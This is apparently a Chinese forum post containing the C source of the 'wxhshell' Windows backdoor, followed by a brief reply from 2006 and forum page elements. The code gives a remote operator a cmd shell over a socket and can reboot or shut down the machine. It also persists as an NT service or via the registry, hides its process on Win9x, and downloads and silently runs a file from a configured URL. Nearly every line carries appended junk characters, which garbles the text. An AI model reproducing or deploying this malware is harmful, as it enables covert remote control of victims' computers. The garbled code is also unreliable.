  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nE;^xMOK!  
  } IdTa tE|^  
  else { J'{69<`Dl  
M uz+j.0  
    switch(cmd[0]) { @/jLN  
  nIc:<w]  
  // 帮助 X)6}<A  
  case '?': { '9d<vW g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [Ume^  
    break; tjLp;%6e  
  } \A "_|Yg  
  // 安装 nz_=]PHO&  
  case 'i': { PY.4J4nn|  
    if(Install()) IY_u|7d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  IDCuS  
    else F9h'.{@d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J5Pi"U$FkY  
    break; ^jY/w>UdH  
    } FVY$A =G  
  // 卸载 w(/#isC  
  case 'r': { CVxqNR*DN  
    if(Uninstall()) 0 ]K\G55  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "$P|!k45(  
    else gbf2ty  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,yPs4',d  
    break; Z/ w}so  
    } -o: if F|  
  // 显示 wxhshell 所在路径 ly_@dsU'  
  case 'p': { "^gV.  
    char svExeFile[MAX_PATH]; hv. 33l  
    strcpy(svExeFile,"\n\r"); $+'bRUo  
      strcat(svExeFile,ExeFile); %PF:OB6[|  
        send(wsh,svExeFile,strlen(svExeFile),0); ayGYVYi  
    break; GTYCNi66  
    } 9c pjO  
  // 重启 R k'5L  
  case 'b': {  F6'[8f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7c.96FA  
    if(Boot(REBOOT)) Jeb"t1.$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .C HET]  
    else { I7=g8/JD  
    closesocket(wsh); u V[:e|v  
    ExitThread(0); vH[G#A~4  
    } s}1S6*Cr  
    break; [B0]%!hFw  
    } mE>v (JY  
  // 关机 >{ /As][  
  case 'd': { lRO7 Ae  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %KjvV<f-a  
    if(Boot(SHUTDOWN)) :6h$1 +6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J~jxmh  
    else { 322)r$!"  
    closesocket(wsh); N"',  
    ExitThread(0); k 'CM^,F&  
    } P }BU7`8  
    break; fC4#b?Q  
    } }^b7x;O|  
  // 获取shell h eR$j  
  case 's': { |M;tAG$,"y  
    CmdShell(wsh); 76'@}wNnw  
    closesocket(wsh); V?[dg^*0  
    ExitThread(0); aB $xQ|~  
    break; mK Ta.  
  } PQ0l<]Y  
  // 退出 ,V`zW<8  
  case 'x': { ;~^9$Z@%Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BI|BfO%F$j  
    CloseIt(wsh); 1K&_t  
    break; N'5AU (  
    } @gc|Z]CV  
  // 离开 j Z6]G{  
  case 'q': { MJyz0.9c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {?+dVLa^;  
    closesocket(wsh); E\_Wpk  
    WSACleanup(); Q`0 k=<  
    exit(1); wO-](3A-8P  
    break; {p90   
        } *X%dg$VcV  
  } H Z)an  
  } _x'?igy  
U@'F9UB`  
  // 提示信息 HxE`"/~.7k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i!nPiac  
} Le?yzf  
  } SWq5=h  
pBR9)T\ n  
  return; dv7IHUFf  
} l<DpcLX  
bP+b~!3  
// shell模块句柄 =Rw-@ *#l  
int CmdShell(SOCKET sock) PV(TDb:0  
{ q@+#CUa&n  
STARTUPINFO si; $~G=Hcl9  
ZeroMemory(&si,sizeof(si)); cUDo}Yu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rzk-_AFR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {y\5 9  
PROCESS_INFORMATION ProcessInfo; _=g;K+%fb  
char cmdline[]="cmd"; yG/_k !{9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =QG0:z)K<v  
  return 0; {=Y3[  
} 'P`L?/_3  
wI{ED  
// 自身启动模式 6 @X j  
int StartFromService(void) <\6<-x(H5  
{ .29y3}[PO  
typedef struct tR{@NFUcu  
{ $LXz Q>w9  
  DWORD ExitStatus; {E3329t|'  
  DWORD PebBaseAddress; lYq/ n&@_1  
  DWORD AffinityMask; lk[BS*  
  DWORD BasePriority; %uUQBZ4  
  ULONG UniqueProcessId; s9\HjK*+  
  ULONG InheritedFromUniqueProcessId; jb'A Os  
}   PROCESS_BASIC_INFORMATION; RIg `F#, 3  
:}n\ r/i  
PROCNTQSIP NtQueryInformationProcess; $Y3mO ~  
#ouE, <  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Pkq?tm$#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,x]xtg?  
wMx# dP4W8  
  HANDLE             hProcess; 2cu?2_,  
  PROCESS_BASIC_INFORMATION pbi; H}f} Y8J{  
i| /EA7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jmcf9g  
  if(NULL == hInst ) return 0; Z{p)rscX  
vi8)U]6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HuRq0/"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wVMR&R<t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /t $J<bU  
ch-.+p3  
  if (!NtQueryInformationProcess) return 0; qVe&nXo  
MEled:i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o 00(\ -eb  
  if(!hProcess) return 0; 3{/Y&/\"'^  
6 h%%?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \[CPI`yQe  
C\RJ){dk  
  CloseHandle(hProcess); '0MH-M  
Kc,=J?Ob  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i p"LoCE  
if(hProcess==NULL) return 0; yr"BeTrS.  
wusj;v4C4M  
HMODULE hMod; QGkMT +A  
char procName[255]; PQJI~u9te}  
unsigned long cbNeeded; ='U>P( R-  
na)-'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EsK.g/d  
-&UP[Mq  
  CloseHandle(hProcess); []#>r k~  
=TcT`](o  
if(strstr(procName,"services")) return 1; // 以服务启动 y<0RgG1qp  
NJqjW  
  return 0; // 注册表启动 %fH&UFby  
} BK/~2u  
f?[0I\V[$  
// 主模块 *l9Wj$vja  
int StartWxhshell(LPSTR lpCmdLine) 'ai3f  
{ wx]r{  
  SOCKET wsl; o)}M$}4  
BOOL val=TRUE; X 8#Uk}/  
  int port=0; ,!i!q[YkL9  
  struct sockaddr_in door; 67]kT%0  
;+6TZqklQ  
  if(wscfg.ws_autoins) Install(); ("!P_Q#  
.9'bi#:Cw  
port=atoi(lpCmdLine); L';b908r2  
POl_chq  
if(port<=0) port=wscfg.ws_port; J 6%CF2  
Dmq_jt  
  WSADATA data; "$6 .L^9W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A-GU:B  
L?:fyNA3[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `rQDX<?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )o[Jxu'  
  door.sin_family = AF_INET;  gK Uci  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =e j'5m($3  
  door.sin_port = htons(port); =|Vm69  
.`; bQh'!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "%[aWb  
closesocket(wsl); = 3("gScUj  
return 1; }]K^b1Fs5  
} Ee0}Xv  
`= FDNOwp  
  if(listen(wsl,2) == INVALID_SOCKET) { +`_Km5=  
closesocket(wsl); H-ewO8@  
return 1; R|OY5@  
} :.J]s<J(F  
  Wxhshell(wsl); 8-clL\bm  
  WSACleanup(); Uk0Fo(HY  
\]$TBN dJ4  
return 0; +ia N[F$  
{%PgR){qR  
} FsTl@zN  
J~=tR1 k  
// 以NT服务方式启动 JrA\ V=K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }g]O_fN7~  
{ >/eV4ma"  
DWORD   status = 0; q?TI(J+/  
  DWORD   specificError = 0xfffffff; K2gg"#ft?  
~P@6f K/M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @+EO3-X5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -Nu Rf#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *<rBV`AP  
  serviceStatus.dwWin32ExitCode     = 0; n `Ry!  
  serviceStatus.dwServiceSpecificExitCode = 0; UX!)\5-  
  serviceStatus.dwCheckPoint       = 0; zmdu\:_X9  
  serviceStatus.dwWaitHint       = 0; Hs>|-iDs(  
_a[)hu8q.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B(/)mB  
  if (hServiceStatusHandle==0) return; ){S/h<4m  
.Km6 (U  
status = GetLastError(); j 5{ "j  
  if (status!=NO_ERROR) f;Uf=.#F  
{ *B ]5K{N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9d8bh4[  
    serviceStatus.dwCheckPoint       = 0; T>e4Og"?  
    serviceStatus.dwWaitHint       = 0; \ W.uV[\  
    serviceStatus.dwWin32ExitCode     = status; DuzJQ Sv  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y%"73.x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i<>zN^zn  
    return; p^/6Rb"e  
  } #lo1GoL\  
8H<:?D/tH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Zwm2T3@e  
  serviceStatus.dwCheckPoint       = 0; ~SD8#;v2  
  serviceStatus.dwWaitHint       = 0; w>6~ zAh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '$m uA\  
} hDAxX= FM  
VzZ'W[/7)B  
// 处理NT服务事件,比如:启动、停止 5L%\rH&N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s J~WzQ  
{ 2C@s-`b   
switch(fdwControl) .*acw  
{ 8&2W^f5  
case SERVICE_CONTROL_STOP: EKTn$k=  
  serviceStatus.dwWin32ExitCode = 0; e/* T,ZJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8"5^mj  
  serviceStatus.dwCheckPoint   = 0; B+Ox#[<75  
  serviceStatus.dwWaitHint     = 0; C_q@ixF{  
  { t.YY?5 l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `:y {  
  } DuV@^qSbG.  
  return; AQR/nWwx  
case SERVICE_CONTROL_PAUSE: s4uYp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >56I`[)  
  break; }US^GEs(  
case SERVICE_CONTROL_CONTINUE: "PhP1;A9,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @GrQ /F7  
  break; z3+7gp+I;  
case SERVICE_CONTROL_INTERROGATE: XzV:q!e-  
  break; nJ{vO{N  
}; |^!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +`D,7"{Eu  
} . v L4@_  
G$T#ql  
// 标准应用程序主函数 /Q*o6G ys0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W!.vP~>  
{ x.ZW%P1  
$lYy`OuC  
// 获取操作系统版本 U 4Sxr  
OsIsNt=GetOsVer(); ^w1&A 3=6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `of` uB  
;5TQH_g  
  // 从命令行安装 [(65^Zl`  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fu;\t 0  
7%g8&d  
  // 下载执行文件 brXLx +H8  
if(wscfg.ws_downexe) { dvLO#o{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KDQqN]rg  
  WinExec(wscfg.ws_filenam,SW_HIDE); Yfotq9.=+  
} <[W41{  
-<MA\iSP  
if(!OsIsNt) { QgZ`~  
// 如果时win9x,隐藏进程并且设置为注册表启动 ljJi|+^$  
HideProc(); qY^@^)b[  
StartWxhshell(lpCmdLine); FWu[{X;  
} T|fmO<e*n  
else zJ9[),;7B  
  if(StartFromService()) :#I7);ol  
  // 以服务方式启动 kafRuO~$  
  StartServiceCtrlDispatcher(DispatchTable); d=J$H<  
else C[0*>W8o  
  // 普通方式启动 V% PeZ.Xv  
  StartWxhshell(lpCmdLine); dd{pF\a  
oI2YJ2?Je8  
return 0; 5OS|Vp||b  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八